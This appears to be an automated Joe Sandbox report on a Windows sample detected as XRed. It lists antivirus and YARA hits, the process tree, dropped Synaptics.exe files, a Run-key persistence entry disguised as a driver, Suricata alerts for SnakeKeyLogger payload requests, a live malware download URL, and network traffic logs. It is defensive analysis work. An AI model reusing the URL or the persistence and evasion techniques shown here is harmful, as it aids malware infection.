Edit tour

Windows Analysis Report
LisectAVT_2403002A_282.exe

Overview

General Information

Sample name:	LisectAVT_2403002A_282.exe
Analysis ID:	1482372
MD5:	6d1fd0af6dd71b3ca81ecefb1d9f9324
SHA1:	7dce009fae200ad379a332bc4f2cc5dc8c88df52
SHA256:	43c1d24d64d652dba7a789b4eb06870d5ba199060f0069b906a7b0f9ecbd4d70
Tags:	exe
Infos:

Detection

XRed

Score:	54
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Yara detected XRed

AI detected suspicious sample

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Drops PE files to the document folder of the user

Machine Learning detection for dropped file

Machine Learning detection for sample

Uses dynamic DNS services

AV process strings found (often used to terminate AV products)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Document contains an embedded VBA macro which executes code when the document is opened / closed

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Excel Network Connections

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Classification

Process Tree

System is w10x64

LisectAVT_2403002A_282.exe (PID: 636 cmdline: "C:\Users\user\Desktop\LisectAVT_2403002A_282.exe" MD5: 6D1FD0AF6DD71B3CA81ECEFB1D9F9324)

._cache_LisectAVT_2403002A_282.exe (PID: 1492 cmdline: "C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe" MD5: 1BD671CE0DEAAA901841AE87D92B3606)

._cache_LisectAVT_2403002A_282.exe (PID: 5648 cmdline: "C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe" -burn.unelevated BurnPipe.{E4E51F82-7E66-4DF5-9657-3D7E13E42432} {55F881B6-C3A9-452A-8EED-53F844AA8C21} 1492 MD5: 1BD671CE0DEAAA901841AE87D92B3606)

Synaptics.exe (PID: 6988 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: B753207B14C635F29B2ABF64F603570A)

WerFault.exe (PID: 7252 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6988 -s 13472 MD5: C31336C1EFC2CCB44B4326EA793040F2)

EXCEL.EXE (PID: 3660 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

Synaptics.exe (PID: 356 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" MD5: B753207B14C635F29B2ABF64F603570A)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
LisectAVT_2403002A_282.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
LisectAVT_2403002A_282.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\Documents\~$cache1	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Documents\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\RCXF23B.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\RCXF23B.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: LisectAVT_2403002A_282.exe PID: 636	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: Synaptics.exe PID: 6988	JoeSecurity_XRed	Yara detected XRed	Joe Security

Sigma Signatures

System Summary

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 13.107.246.60, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 3660, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49962

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.8, DestinationIsIpv6: false, DestinationPort: 49962, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 3660, Protocol: tcp, SourceIp: 13.107.246.60, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Synaptics\Synaptics.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe, ProcessId: 636, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\Synaptics\Synaptics.exe, ProcessId: 6988, TargetFilename: C:\Users\user\AppData\Local\Temp\znjZLpXp.xlsm

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:06.468416+0200
SID:	2044887
Source Port:	49757
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:54:58.745265+0200
SID:	2044887
Source Port:	49710
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:05.639090+0200
SID:	2044887
Source Port:	49749
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.68.123.157 - Destination IP: 192.168.2.8

Timestamp:	2024-07-25T21:55:43.894772+0200
SID:	2022930
Source Port:	443
Destination Port:	49922
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:00.934345+0200
SID:	2044887
Source Port:	49721
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:02.021755+0200
SID:	2044887
Source Port:	49726
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:04.563511+0200
SID:	2044887
Source Port:	49746
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE W32.Bloat-A Checkin - Source IP: 192.168.2.8 - Destination IP: 69.42.215.252

Timestamp:	2024-07-25T21:54:59.078552+0200
SID:	2832617
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:54:59.855534+0200
SID:	2044887
Source Port:	49718
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:03.521326+0200
SID:	2044887
Source Port:	49738
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:04.561722+0200
SID:	2044887
Source Port:	49743
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:08.570376+0200
SID:	2044887
Source Port:	49769
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:06.468261+0200
SID:	2044887
Source Port:	49758
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:08.575770+0200
SID:	2044887
Source Port:	49768
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:54:59.779737+0200
SID:	2044887
Source Port:	49715
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:07.503380+0200
SID:	2044887
Source Port:	49766
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:01.867178+0200
SID:	2044887
Source Port:	49725
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:00.768886+0200
SID:	2044887
Source Port:	49720
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:03.487469+0200
SID:	2044887
Source Port:	49737
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:07.518831+0200
SID:	2044887
Source Port:	49765
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:05.660763+0200
SID:	2044887
Source Port:	49748
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:55:09.598529+0200
SID:	2044887
Source Port:	49772
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 142.250.186.110

Timestamp:	2024-07-25T21:54:58.796256+0200
SID:	2044887
Source Port:	49709
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.68.123.157 - Destination IP: 192.168.2.8

Timestamp:	2024-07-25T21:55:06.253373+0200
SID:	2022930
Source Port:	443
Destination Port:	49754
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: LisectAVT_2403002A_282.exe	Avira: detected
Source: LisectAVT_2403002A_282.exe	Avira: detected

Antivirus detection for URL or domain

Source: http://xred.site50.net/syn/SSLLibrary.dll

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Documents\~$cache1	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\Documents\~$cache1	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\RCXF23B.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\RCXF23B.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: WORM/Delphi.Gen
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 95.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Documents\~$cache1	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\RCXF23B.tmp	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\Synaptics.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: LisectAVT_2403002A_282.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 2_2_00A38281 _memset,CryptCATAdminCalcHashFromFileHandle,GetLastError,GetLastError,CryptCATAdminCalcHashFromFileHandle,GetLastError,WinVerifyTrust,WinVerifyTrust,WinVerifyTrust,	2_2_00A38281
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 2_2_00A57C27 _memset,CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,ReadFile,CryptHashData,ReadFile,GetLastError,CryptGetHashParam,GetLastError,SetFilePointerEx,GetLastError,GetLastError,CryptDestroyHash,CryptReleaseContext,	2_2_00A57C27
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 2_2_00A38558 CryptHashPublicKeyInfo,GetLastError,	2_2_00A38558
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 2_2_00A386D9 DecryptFileW,	2_2_00A386D9

Source: LisectAVT_2403002A_282.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Window detected: MICROSOFT SOFTWARE LICENSE TERMSMICROSOFT VISUAL C++ 2017 RUNTIME These license terms are an agreement between Microsoft Corporation (or based on where you live one of its affiliates) and you. They apply to the software named above. The terms also apply to any Microsoft services or updates for the software except to the extent those have different terms.IF YOU COMPLY WITH THESE LICENSE TERMS YOU HAVE THE RIGHTS BELOW.1.INSTALLATION AND USE RIGHTS. You may install and use any number of copies of the software.2.TERMS FOR SPECIFIC COMPONENTS.a.Microsoft Platforms. The software may include components from Microsoft Windows; Microsoft Windows Server; Microsoft SQL Server; Microsoft Exchange; Microsoft Office; and Microsoft SharePoint. These components are governed by separate agreements and their own product support policies as described in the Microsoft Licenses folder accompanying the software except that if license terms for those components are also included in the associated installation directory those license terms control.b.Third Party Components. The software may include third party components with separate legal notices or governed by other agreements as may be described in the ThirdPartyNotices file(s) accompanying the software. 3.SCOPE OF LICENSE. The software is licensed not sold. This agreement only gives you some rights to use the software. Microsoft reserves all other rights. Unless applicable law gives you more rights despite this limitation you may use the software only as expressly permitted in this agreement. In doing so you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may notwork around any technical limitations in the software;reverse engineer decompile or disassemble the software or otherwise attempt to derive the source code for the software except and only to the extent required by third party licensing terms governing the use of certain open source components that may be included in the software;remove minimize block or modify any notices of Microsoft or its suppliers in the software; use the software in any way that is against the law; orshare publish rent or lease the software or provide the software as a stand-alone offering for others to use or transfer the software or this agreement to any third party.4.EXPORT RESTRICTIONS. You must comply with all domestic and international export laws and regulations that apply to the software which include restrictions on destinations end users and end use. For further information on export restrictions visit www.microsoft.com/exporting <http://www.microsoft.com/exporting>. 5.SUPPORT SERVICES. Because this software is as is we may not provide support services for it.6.ENTIRE AGREEMENT. This agreement and the terms for supplements updates Internet-based services and support services that you use are the entire agreement for the software and support services.7.APPLICABLE LAW. If you acquired the

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1028\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1029\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1031\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1036\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1040\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1041\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1042\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1045\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1046\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1049\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1055\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\2052\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\3082\license.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	File created: C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\license.rtf	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49936 version: TLS 1.2
